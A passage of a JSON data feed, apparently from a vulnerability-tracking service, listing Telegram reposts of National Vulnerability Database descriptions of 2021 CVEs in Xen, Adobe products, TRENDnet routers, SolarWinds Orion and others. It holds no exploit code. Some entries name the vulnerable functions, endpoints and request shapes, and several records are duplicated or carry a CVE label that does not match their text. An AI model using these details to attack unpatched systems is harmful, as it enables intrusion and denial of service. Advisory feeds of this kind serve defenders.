devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:31.000000Z"}, {"uuid": "9b0d97de-aea3-4aa1-ac26-4659dba803c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28615", "type": "seen", "source": "https://t.me/cibsecurity/27787", "content": "\u203c CVE-2021-28615 \u203c\n\nAdobe After Effects version 18.2 (and earlier) is affected by an Our-of-bounds Read vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to disclose sensitive memory information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:32.000000Z"}, {"uuid": "41a3eeae-8dc0-4165-ab85-f57fb495eb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28596", "type": "seen", "source": "https://t.me/cibsecurity/27746", "content": "\u203c CVE-2021-28596 \u203c\n\nAdobe Framemaker version 2020.0.1 (and earlier) and 2019.0.8 (and earlier) are affected by an Out-of-bounds Write vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n? Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T02:23:08.000000Z"}, {"uuid": "1ebb49a6-153c-4f0a-8419-7aff034089de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28696", "type": "seen", "source": "https://t.me/cibsecurity/27967", "content": "\u203c CVE-2021-28694 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:37.000000Z"}, {"uuid": "1948c2cf-0638-432c-abb8-a1efd85f0ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28695", "type": "seen", "source": "https://t.me/cibsecurity/27967", "content": "\u203c CVE-2021-28694 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:37.000000Z"}, {"uuid": "bb2c2b93-1423-4b35-afb1-3122dce3942b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28698", "type": "seen", "source": "https://t.me/cibsecurity/27971", "content": "\u203c CVE-2021-28698 \u203c\n\nlong running loops in grant table handling In order to properly monitor resource use, Xen maintains information on the grant mappings a domain may create to map grants offered by other domains. In the process of carrying out certain actions, Xen would iterate over all such entries, including ones which aren't in use anymore and some which may have been created but never used. If the number of entries for a given domain is large enough, this iterating of the entire table may tie up a CPU for too long, starving other domains or causing issues in the hypervisor itself. Note that a domain may map its own grants, i.e. there is no need for multiple domains to be involved here. A pair of \"cooperating\" guests may, however, cause the effects to be more severe.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:41.000000Z"}, {"uuid": "df52ee23-4fc6-44e3-a11f-c7babd139b98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28700", "type": "seen", "source": "https://t.me/cibsecurity/27968", "content": "\u203c CVE-2021-28700 \u203c\n\nxen/arm: No memory limit for dom0less domUs The dom0less feature allows an administrator to create multiple unprivileged domains directly from Xen. Unfortunately, the memory limit from them is not set. This allow a domain to allocate memory beyond what an administrator originally configured.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:38.000000Z"}, {"uuid": "17d01a78-d488-4214-9f8b-6fdda46f6eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28694", "type": "seen", "source": "https://t.me/cibsecurity/27967", "content": "\u203c CVE-2021-28694 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:37.000000Z"}, {"uuid": "a656e238-4255-4702-92c1-85b5210a4932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28699", "type": "seen", "source": "https://t.me/cibsecurity/27965", "content": "\u203c CVE-2021-28699 \u203c\n\ninadequate grant-v2 status frames array bounds check The v2 grant table interface separates grant attributes from grant status. That is, when operating in this mode, a guest has two tables. As a result, guests also need to be able to retrieve the addresses that the new status tracking table can be accessed through. For 32-bit guests on x86, translation of requests has to occur because the interface structure layouts commonly differ between 32- and 64-bit. The translation of the request to obtain the frame numbers of the grant status table involves translating the resulting array of frame numbers. Since the space used to carry out the translation is limited, the translation layer tells the core function the capacity of the array within translation space. Unfortunately the core function then only enforces array bounds to be below 8 times the specified value, and would write past the available space if enough frame numbers needed storing.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:34.000000Z"}, {"uuid": "2f4a2303-9a8e-4dfb-a890-6f12b2d08387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28694", "type": "seen", "source": "https://t.me/cibsecurity/27963", "content": "\u203c CVE-2021-28696 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:31.000000Z"}, {"uuid": "61885938-e32c-46c0-831a-5cbb405bb1fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28696", "type": "seen", "source": "https://t.me/cibsecurity/27963", "content": "\u203c CVE-2021-28696 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:31.000000Z"}, {"uuid": "8ead3cb6-9e23-4f6a-9524-853e2ff6e4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28697", "type": "seen", "source": "https://t.me/cibsecurity/27962", "content": "\u203c CVE-2021-28697 \u203c\n\ngrant table v2 status pages may remain accessible after de-allocation Guest get permitted access to certain Xen-owned pages of memory. The majority of such pages remain allocated / associated with a guest for its entire lifetime. Grant table v2 status pages, however, get de-allocated when a guest switched (back) from v2 to v1. The freeing of such pages requires that the hypervisor know where in the guest these pages were mapped. The hypervisor tracks only one use within guest space, but racing requests from the guest to insert mappings of these pages may result in any of them to become mapped in multiple locations. Upon switching back from v2 to v1, the guest would then retain access to a page that was freed and perhaps re-used for other purposes.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:30.000000Z"}, {"uuid": "e9063053-088f-486f-acc6-b50ba52748a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28233", "type": "seen", "source": "https://t.me/cibsecurity/27960", "content": "\u203c CVE-2021-28233 \u203c\n\nHeap-based Buffer Overflow vulnerability exists in ok-file-formats 1 via the ok_jpg_generate_huffman_table function in ok_jpg.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:27.000000Z"}, {"uuid": "7d8e39b1-0b95-4158-a14d-95a84ef6f6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28694", "type": "seen", "source": "https://t.me/cibsecurity/27958", "content": "\u203c CVE-2021-28695 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:24.000000Z"}, {"uuid": "3d38f3ff-77e9-4897-b54d-28370c04cbff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28696", "type": "seen", "source": "https://t.me/cibsecurity/27958", "content": "\u203c CVE-2021-28695 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:24.000000Z"}, {"uuid": "65bb4e71-153b-4244-8192-3d28441f658d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28695", "type": "seen", "source": "https://t.me/cibsecurity/27958", "content": "\u203c CVE-2021-28695 \u203c\n\nIOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-27T22:28:24.000000Z"}, {"uuid": "f20505a6-98d7-4d68-b00c-380f32fb03e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28605", "type": "seen", "source": "https://t.me/cibsecurity/27802", "content": "\u203c CVE-2021-28605 \u203c\n\nAdobe After Effects version 18.2 (and earlier) is affected by a memory corruption vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:55.000000Z"}, {"uuid": "a4493de2-0f5b-4248-b1c5-af26096dd4a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28619", "type": "seen", "source": "https://t.me/cibsecurity/27797", "content": "\u203c CVE-2021-28619 \u203c\n\nAdobe Animate version 21.0.6 (and earlier) is affected by an Out-of-bounds Read vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to disclose sensitive memory information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:48.000000Z"}, {"uuid": "5c87f31b-096d-4eeb-b5b7-5eb6090e117b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28602", "type": "seen", "source": "https://t.me/cibsecurity/27796", "content": "\u203c CVE-2021-28602 \u203c\n\nAdobe After Effects version 18.2 (and earlier) is affected by a memory corruption vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:47.000000Z"}, {"uuid": "568b3236-427c-41c6-9851-cf4785a55bae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28621", "type": "seen", "source": "https://t.me/cibsecurity/27794", "content": "\u203c CVE-2021-28621 \u203c\n\nAdobe Animate version 21.0.6 (and earlier) is affected by an Out-of-bounds Read vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:43.000000Z"}, {"uuid": "4ba452fa-742a-4288-b3de-6a52bb2f284a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28601", "type": "seen", "source": "https://t.me/cibsecurity/27792", "content": "\u203c CVE-2021-28601 \u203c\n\nAdobe After Effects version 18.2 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:40.000000Z"}, {"uuid": "a6dcf892-e334-4822-b9a3-9bb3b0814d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28625", "type": "seen", "source": "https://t.me/cibsecurity/27789", "content": "\u203c CVE-2021-28625 \u203c\n\nAdobe Experience Manager Cloud Service offering, as well as versions 6.5.8.0 (and below) is affected by a Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u00e2\u20ac\u2122s browser when they browse to the page containing the vulnerable field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:35.000000Z"}, {"uuid": "27d740a7-428e-4ab5-8548-1da1f744d357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28603", "type": "seen", "source": "https://t.me/cibsecurity/27788", "content": "\u203c CVE-2021-28603 \u203c\n\nAdobe After Effects version 18.2 (and earlier) is affected by a Heap-based Buffer Overflow vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-24T22:23:34.000000Z"}, {"uuid": "90b7b315-7a41-4c38-8b9b-69a5dc4e9088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28641", "type": "seen", "source": "https://t.me/cibsecurity/27660", "content": "\u203c CVE-2021-28641 \u203c\n\nAcrobat Reader DC versions 2021.005.20054 (and earlier), 2020.004.30005 (and earlier) and 2017.011.30197 (and earlier) are affected by an Use-after-free vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-20T22:23:49.000000Z"}, {"uuid": "83631357-8342-4573-a89b-7141874a4a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28634", "type": "seen", "source": "https://t.me/cibsecurity/27658", "content": "\u203c CVE-2021-28634 \u203c\n\nAcrobat Reader DC versions 2021.005.20054 (and earlier), 2020.004.30005 (and earlier) and 2017.011.30197 (and earlier) are affected by an Improper Neutralization of Special Elements used in an OS Command. An authenticated attacker could leverage this vulnerability to achieve arbitrary code execution on the host machine in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-20T22:23:47.000000Z"}, {"uuid": "e08078a9-ec40-4434-a974-3a0a632ec1ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28638", "type": "seen", "source": "https://t.me/cibsecurity/27654", "content": "\u203c CVE-2021-28638 \u203c\n\nAcrobat Reader DC versions 2021.005.20054 (and earlier), 2020.004.30005 (and earlier) and 2017.011.30197 (and earlier) are affected by a Heap-based Buffer overflow vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-20T22:23:38.000000Z"}, {"uuid": "e73a0593-1709-4afd-9c3d-b1dc4874936b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28636", "type": "seen", "source": "https://t.me/cibsecurity/27652", "content": "\u203c CVE-2021-28636 \u203c\n\nAcrobat Reader DC versions 2021.005.20054 (and earlier), 2020.004.30005 (and earlier) and 2017.011.30197 (and earlier) are affected by an Uncontrolled Search Path Element vulnerability. An attacker with access to the victim's C:/ folder could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-20T22:23:34.000000Z"}, {"uuid": "f9ce6000-cea0-427e-a7da-c07b55f775df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28130", "type": "seen", "source": "https://t.me/cibsecurity/29393", "content": "\u203c CVE-2021-28130 \u203c\n\nDr.Web Firewall 12.5.2.4160 on Windows incorrectly restricts applications signed by Dr.Web. A DLL for a custom payload within a legitimate binary (e.g., frwl_svc.exe) bypasses firewall filters.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-24T20:30:56.000000Z"}, {"uuid": "f92e7a25-b215-41d5-bd8b-0fb9cd8ee274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28846", "type": "seen", "source": "https://t.me/cibsecurity/27102", "content": "\u203c CVE-2021-28846 \u203c\n\nA Format String vulnerablity exists in TRENDnet TEW-755AP 1.11B03, TEW-755AP2KAC 1.11B03, TEW-821DAP2KAC 1.11B03, and TEW-825DAP 1.11B03, which could let a remote malicious user cause a denial of service due to a logic bug at address 0x40dcd0 when calling fprintf with \"%s: key len = %d, too long\\n\" format. The two variables seem to be put in the wrong order. The vulnerability could be triggered by sending the POST request to apply_cgi with a long and unknown key in the request body.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T00:37:40.000000Z"}, {"uuid": "54e2e62d-9a50-4ec5-83e8-dec2b86037c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28569", "type": "seen", "source": "https://t.me/cibsecurity/28514", "content": "\u203c CVE-2021-28569 \u203c\n\nAdobe Media Encoder version 15.1 (and earlier) is affected by an Out-of-bounds Read vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to disclose sensitive memory information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-08T20:45:47.000000Z"}, {"uuid": "b1b1c2aa-ebcf-48a8-a519-87cb9cad8215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28845", "type": "seen", "source": "https://t.me/cibsecurity/27105", "content": "\u203c CVE-2021-28845 \u203c\n\nNull Pointer Dereference vulnerability exists in TRENDnet TEW-755AP 1.11B03, TEW-755AP2KAC 1.11B03, TEW-821DAP2KAC 1.11B03, and TEW-825DAP 1.11B03, which could let a remote malicious user cause a denial of service by sending the POST request to apply_cgi via the lang action without a language key.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T00:37:46.000000Z"}, {"uuid": "94498177-832a-4ae5-9616-b4e1904a6752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28094", "type": "seen", "source": "https://t.me/cibsecurity/26605", "content": "\u203c CVE-2021-28094 \u203c\n\nOX Documents before 7.10.5-rev7 has Incorrect Access Control for converted documents because hash collisions can occur, due to use of CRC32.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-30T18:15:33.000000Z"}, {"uuid": "0140854c-1db7-4ee6-b9d8-4e70a3ca0a2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28910", "type": "seen", "source": "https://t.me/cibsecurity/28614", "content": "\u203c CVE-2021-28910 \u203c\n\nBAB TECHNOLOGIE GmbH eibPort V3 prior version 3.9.1 contains basic SSRF vulnerability. It allow unauthenticated attackers to request to any internal and external server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T22:29:47.000000Z"}, {"uuid": "81c46054-35e7-4d2c-b19b-15aef2992b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28674", "type": "seen", "source": "https://t.me/cibsecurity/26598", "content": "\u203c CVE-2021-28674 \u203c\n\nThe node management page in SolarWinds Orion Platform before 2020.2.5 HF1 allows an attacker to create or delete a node (outside of the attacker's perimeter) via an account with write permissions. This occurs because node IDs are predictable (with incrementing numbers) and the access control on Services/NodeManagement.asmx/DeleteObjNow is incorrect. To exploit this, an attacker must be authenticated and must have node management rights associated with at least one valid group on the platform.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-30T18:15:26.000000Z"}, {"uuid": "0cc89821-fec4-4d6c-8585-b1f7adbfd498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28966", "type": "seen", "source": "https://t.me/cibsecurity/26595", "content": "\u203c CVE-2021-28966 \u203c\n\nIn Ruby through 3.0 on Windows, a remote attacker can submit a crafted path when a Web application handles a parameter with TmpDir.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-30T18:15:22.000000Z"}, {"uuid": "33d0fade-e598-4106-8a55-0c0aa71a4d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28495", "type": "seen", "source": "https://t.me/cibsecurity/28571", "content": "\u203c CVE-2021-28495 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, user authentication can be bypassed when API access is enabled via the JSON-RPC APIs. This issue affects: Arista Metamako Operating System All releases in the MOS-0.1x train MOS-0.13 and post releases in the MOS-0.1x train MOS-0.26.6 and below releases in the MOS-0.2x train MOS-0.31.1 and below releases in the MOS-0.3x train\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:40.000000Z"}, {"uuid": "df723467-2de3-4229-ae85-55c8f3de2889", 